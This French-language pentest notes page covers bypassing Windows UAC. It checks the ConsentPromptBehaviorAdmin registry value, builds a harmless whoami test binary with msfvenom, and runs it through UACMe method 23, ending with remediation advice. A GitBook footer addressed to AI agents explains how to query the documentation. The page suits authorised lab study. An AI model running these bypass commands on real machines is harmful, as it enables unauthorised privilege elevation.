> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md).

# Contournement de l’UAC

Le contrôle de compte d’utilisateur limite l’élévation automatique pour les actions administratives. Un contournement de l’UAC n’est utile que lorsque l’utilisateur actuel dispose déjà d’un jeton d’administrateur filtré ou que l’hôte a une configuration d’élévation faible.

## Vérifier le niveau de l’UAC

```powershell
(Get-ItemProperty -Path "HKLM:/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System").ConsentPromptBehaviorAdmin
```

Valeurs courantes :

| Valeur | Signification                           |
| ------ | --------------------------------------- |
| `0`    | Aucune invite UAC                       |
| `1`    | Élévation silencieuse selon le contexte |
| `2`    | Invite standard                         |
| `5`    | Comportement d’invite plus strict       |

<figure><img src="/files/f2e4ce29afce072cf644774039ff35da711e6b0f" alt="UAC registry policy query"><figcaption></figcaption></figure>

<figure><img src="/files/70cb754ddc26c1ef4723466f4c7960209275c09e" alt="UAC policy value result" width="563"><figcaption></figcaption></figure>

## Préparer un binaire de validation de laboratoire

```bash
msfvenom -p windows/exec CMD='cmd /c whoami /all > C:\Windows\Temp\uac-check.txt' -f exe -o uac-check.exe
```

## Exécuter avec UACMe

{% embed url="<https://github.com/hfiref0x/UACME>" %}

```powershell
.\Akagi64.exe 23 C:\Temp\uac-check.exe
Get-Content C:\Windows\Temp\uac-check.txt
```

<figure><img src="/files/9428b26b55f22f27267244878d97429b96d8d536" alt="UACMe execution in a Windows lab"><figcaption></figcaption></figure>

## Points clés

* Un contournement de l’UAC n’est pas une véritable élévation depuis un utilisateur standard.
* Confirmez le niveau de l’UAC et le contexte du jeton avant de tester.
* Utilisez d’abord une action de validation inoffensive, puis passez à l’action d’évaluation ciblée uniquement lorsque vous y êtes autorisé.
* Corrigez la situation avec des paramètres UAC stricts et en évitant les sessions d’administrateur exposées.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
